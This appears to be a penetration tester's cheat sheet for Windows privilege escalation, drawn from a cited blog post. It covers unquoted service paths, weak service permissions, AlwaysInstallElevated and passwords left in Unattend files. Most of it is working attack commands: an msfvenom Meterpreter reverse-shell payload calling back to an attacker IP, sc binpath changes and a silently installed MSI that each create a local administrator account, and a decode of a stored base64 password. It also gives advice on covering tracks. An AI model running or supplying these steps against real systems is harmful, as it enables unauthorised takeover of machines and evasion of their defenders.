Common Windows PrivEsc

Trusted Service Paths

 # Example:
 C:\Program Files\Some Folder\Service.exe
 
 C:\Program.exe
 C:\Program Files\Some.exe
 C:\Program Files\Some Folder\Service.exe

# To find the services with unquoted service paths:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """  

# The path is:
C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfsvc.exe

# Check for permissions:
icacls "C:\Program Files (x86)\Privacyware"

Check for permissions

Notice the first line: BUILTIN\Users:(OI)(CI)(M), which lists the permissions for unprivileged users. The (M) stands for Modify, which grants us, as an unprivileged user, the ability to read, write and delete files and subfolders within this folder. WHAT LUCK! We are now free to create and drop a malicious executable called Privatefirewall.exe… let’s begin!

# Using msfvenon to generate malicious exe
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe  

Load the evil exe to the path of the unquoted service

Place the exe on the path of the service

# Restart the service using Service Control
 sc stop PFNet
 sc start PFNet

Vulnerable Services

Service Binaries Vulnerable Service Executables takes advantage of file/folder permissions pertaining to the actual executable itself. If the correct permissions are in place, we can simply replace the service executable with a malicious one of our own. Using Privacy Firewall as an example, we’d place an executable named pfsvc.exe into the “Privatefirewall 7.0” folder. VIOLA!

Windows Services These Services run in the background and are controlled by the Operating System through the Service Control Manager (SCM), which issues commands to and receives updates from all Windows Services. If we can modify a Service’s binary path (binpath) property, upon a restart of the service, we can have the Service issue a command as SYSTEM on our behalf. Let’s take a look…

Tools needed: https://technet.microsoft.com/en-us/sysinternals/accesschk https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

# Download accesschk and execute it as follows:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Use the Service Control utility to view the configuration properties:
sc qc PFNet

Checking the properties of the service

Notice that the BINARY_PATH_NAME value is set to point to pfsvc.exe, which we know is is the associated service binary. Changing this value to a command to add a user and restarting the service will execute this command as SYSTEM (confirmed by validating SERVICE_START_NAME is set to LocalSystem). We can repeat the process one more time to add our new user to the Local Administrator group:

 sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
 sc stop PFNET
 sc start PFNET
 sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
 sc stop PFNET
 sc start PFNET

! WARNING !The sc utility throws an error each time we start the service with one of our malicious commands in the binpath. This is because the net user and net localgroup commands do not point to the service binary and therefore the SCM cannot communicate with the service. Never fear, however, as the error is thrown only after issuing our malicious commands:

Verifying if the commands executed correctly

NOTE: I’d recommend setting the binpath property to point to the original service binary and having the service successfully started/running once you’ve completed your privilege escalation. This will allow normal Service behavior to resume and reduce drawing unwanted attention.

AlwaysInstallElevated

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. However, granting users this ability is a security concern because it is too easy to abuse this privilege. For this to occur, there are two registry entries that have to be set to the value of “1” on the machine:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

# The easiest way to check the values of these two registry entries is to utilize the built-in command line tool, reg query:  
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Example of the successful query

NOTE: If you happen to get an error message similar to: The system was unable to find the specified registry key or value, it may be that a Group Policy setting for AlwaysInstallElevated was never defined, and therefore an associated registry entry doesn’t exist.

# Generate an MSI File to add a user and add it to the Admin group:
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi    

# To install the MSI, we can use the command line tool within Windows: Msiexec
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

/quiet =Suppress any messages to the user during installation
/qn =No GUI
/i =Regular (vs. administrative) installation

Validate that the user was added:

NOTE: MSI files created with MSFVenom as well as with the always_install_elevated module discussed below, will fail during installation. This behavior is intentional and meant to prevent the installation being registered with the operating system.

Unattended Installs

Unattended Installs allow for the deployment of Windows with little-to-no active involvement from an administrator. This solution is ideal in larger organizations where it would be too labor and time-intensive to perform wide-scale deployments manually. If administrators fail to clean up after this process, an Extensible Markup Language (XML) file called Unattend is left on the local system. This file contains all the configuration settings that were set during the installation process, some of which can include the configuration of local accounts, to include Administrator accounts!

# While it’s a good idea to search the entire drive, Unattend files are likely to be found within the following folders:  
 C:\Windows\Panther\
 C:\Windows\Panther\Unattend\
 C:\Windows\System32\
 C:\Windows\System32\sysprep\
 sysprep.xml and sysprep.inf

# Decode the base64 password string:
echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d
P@ssword123!Password

# Microsoft appends “Password” to all passwords within Unattend files before encoding   
# them. Therefore, our Local Administrator password is in fact just:

 “P@ssword123!”.

Best PrivEsc Guide to Follow http://www.fuzzysecurity.com/tutorials/16.html

Reference: https://toshellandback.com/2015/11/24/ms-priv-esc/

Check Full List of Hot Fixes

wmic qfe list full